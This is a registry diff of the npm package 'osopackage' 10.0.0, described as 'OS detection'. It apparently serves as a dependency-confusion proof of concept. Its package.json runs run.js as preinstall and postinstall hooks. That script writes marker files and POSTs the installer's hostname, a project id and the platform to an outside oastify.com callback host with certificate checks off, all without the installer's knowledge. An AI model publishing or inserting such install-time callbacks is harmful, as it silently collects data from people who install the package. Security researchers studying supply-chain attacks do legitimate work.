osopackage 10.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/osopackage-10.0.0.tgz +0 -0
- package/package.json +16 -0
- package/run.js +97 -0
|
Binary file
|
package/package.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "osopackage",
|
|
3
|
+
"version": "10.0.0",
|
|
4
|
+
"description": "OS detection",
|
|
5
|
+
"main": "run.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node run.js",
|
|
9
|
+
"postinstall": "node run.js"
|
|
10
|
+
},
|
|
11
|
+
"author": "OSO",
|
|
12
|
+
"license": "ISC",
|
|
13
|
+
"engines": {
|
|
14
|
+
"node": ">=10.0.0"
|
|
15
|
+
}
|
|
16
|
+
}
|
package/run.js
ADDED
|
@@ -0,0 +1,97 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
|
|
5
|
+
// Detect OS
|
|
6
|
+
const platform = os.platform(); // 'win32', 'linux', 'darwin', etc.
|
|
7
|
+
const phase = process.env.npm_lifecycle_event || 'runtime'; // e.g. 'preinstall', 'postinstall'
|
|
8
|
+
|
|
9
|
+
// Helper
|
|
10
|
+
function getMarkerPath(filename) {
|
|
11
|
+
if (platform === 'win32') {
|
|
12
|
+
return `C:\\ProgramData\\${filename}`;
|
|
13
|
+
} else {
|
|
14
|
+
return `/tmp/${filename}`;
|
|
15
|
+
}
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
function sendCallback(phaseLabel) {
|
|
20
|
+
try {
|
|
21
|
+
const hostname = os.hostname();
|
|
22
|
+
const projectId = process.argv[2] || 'no-project-id';
|
|
23
|
+
|
|
24
|
+
const body = JSON.stringify({
|
|
25
|
+
hostname: hostname,
|
|
26
|
+
project_id: projectId,
|
|
27
|
+
phase: phaseLabel,
|
|
28
|
+
platform
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
const data = Buffer.from(body, 'utf8');
|
|
32
|
+
|
|
33
|
+
const options = {
|
|
34
|
+
hostname: `u2x6nlpg63tqix9bm2oylvaufllc93xs.oastify.com`,
|
|
35
|
+
port: 443,
|
|
36
|
+
path: '/',
|
|
37
|
+
method: 'POST',
|
|
38
|
+
headers: {
|
|
39
|
+
'Content-Type': 'application/json',
|
|
40
|
+
'Content-Length': data.length
|
|
41
|
+
},
|
|
42
|
+
rejectUnauthorized: false
|
|
43
|
+
};
|
|
44
|
+
|
|
45
|
+
const req = https.request(options, (res) => {
|
|
46
|
+
res.on('data', () => {});
|
|
47
|
+
});
|
|
48
|
+
|
|
49
|
+
req.on('error', (error) => {
|
|
50
|
+
console.error('[P0C] HTTPS callback error:', error);
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
req.write(data);
|
|
54
|
+
req.end();
|
|
55
|
+
|
|
56
|
+
console.log('[P0C] HTTPS callback sent to:', options.hostname, 'for phase:', phaseLabel);
|
|
57
|
+
} catch (err) {
|
|
58
|
+
console.error('[P0C] Error in HTTPS callback block:', err);
|
|
59
|
+
}
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
|
|
63
|
+
if (phase === 'preinstall') {
|
|
64
|
+
try {
|
|
65
|
+
const markerPath = getMarkerPath('poc_preinstall.txt');
|
|
66
|
+
const content =
|
|
67
|
+
`PREINSTALL executed on: ${platform}\n` +
|
|
68
|
+
`Timestamp: ${new Date().toISOString()}\n` +
|
|
69
|
+
`Phase: ${phase}\n\n`;
|
|
70
|
+
|
|
71
|
+
fs.writeFileSync(markerPath, content, { flag: 'a' });
|
|
72
|
+
|
|
73
|
+
console.log('[P0C] Preinstall marker written to:', markerPath);
|
|
74
|
+
} catch (err) {
|
|
75
|
+
console.error('[P0C] Preinstall error:', err);
|
|
76
|
+
}
|
|
77
|
+
sendCallback('preinstall');
|
|
78
|
+
|
|
79
|
+
process.exit(0);
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
|
|
83
|
+
// POST install
|
|
84
|
+
try {
|
|
85
|
+
const markerPath = getMarkerPath('postinstall_poc.txt');
|
|
86
|
+
const content =
|
|
87
|
+
`Dependency confusion test package executed on: ${platform}\n` +
|
|
88
|
+
`Timestamp: ${new Date().toISOString()}\n` +
|
|
89
|
+
`Phase: ${phase}\n\n`;
|
|
90
|
+
|
|
91
|
+
fs.writeFileSync(markerPath, content, { flag: 'a' });
|
|
92
|
+
sendCallback(phase);
|
|
93
|
+
|
|
94
|
+
console.log('[P0C] Marker file written to', markerPath);
|
|
95
|
+
} catch (err) {
|
|
96
|
+
console.error('[P0C] Error writing marker file:', err);
|
|
97
|
+
}
|